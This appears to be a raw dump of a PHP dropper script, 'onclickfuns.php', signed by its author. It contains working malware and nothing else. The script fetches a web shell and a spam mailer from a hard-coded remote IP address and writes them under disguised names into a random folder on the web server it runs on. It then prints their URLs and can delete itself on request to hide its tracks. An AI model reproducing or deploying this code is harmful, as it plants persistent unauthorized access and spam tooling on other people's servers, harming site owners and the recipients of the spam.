View file File name : onclickfuns.php Content : <?php # Coded By S911lo function Domain(){ $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST']; $hostUrl = $protocol . '://' . $host; return $hostUrl; } function generateRandomName($length = 8) { $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $randomName = ''; for ($i = 0; $i < $length; $i++) { $randomName .= $characters[random_int(0, strlen($characters) - 1)]; } return $randomName; } $hostdomain = Domain(); $currentDirectory = dirname(__FILE__); $folders = array_filter(glob($currentDirectory . '/*'), 'is_dir'); $randomNameFileshell = themes4 . '.php'; $randomNameFilemailer = xXsend4 . '.php'; if (empty($folders)) { die('No Folder there '); } else { $randomFolders = $folders[array_rand($folders)]; $parts_folder = explode('/', $randomFolders); $randomFolderName = end($parts_folder); $randomFolderPath = $currentDirectory . '/' . $randomFolderName ; $shellPath = $randomFolderPath . '/'. $randomNameFileshell; $contet_shell = file_get_contents('http://146.59.155.238/panel/app/inp'); file_put_contents($shellPath, $contet_shell); $mailerPath = $randomFolderPath . '/'. $randomNameFilemailer; $contet_mailer = file_get_contents('http://146.59.155.238/panel/app/mx404'); file_put_contents($mailerPath, $contet_mailer); $urlshell = $hostdomain . '/' .$randomFolderName .'/'.$randomNameFileshell; $urlmailer = $hostdomain . '/' .$randomFolderName .'/'.$randomNameFilemailer; echo "shell -------> : <b><shell>$urlshell</shell></b></br>"; echo "Mailer ------>:<b><mailer>$urlmailer</mailer></b></br>"; } if(isset($_GET['unback'])){ unlink(__FILE__); } ?>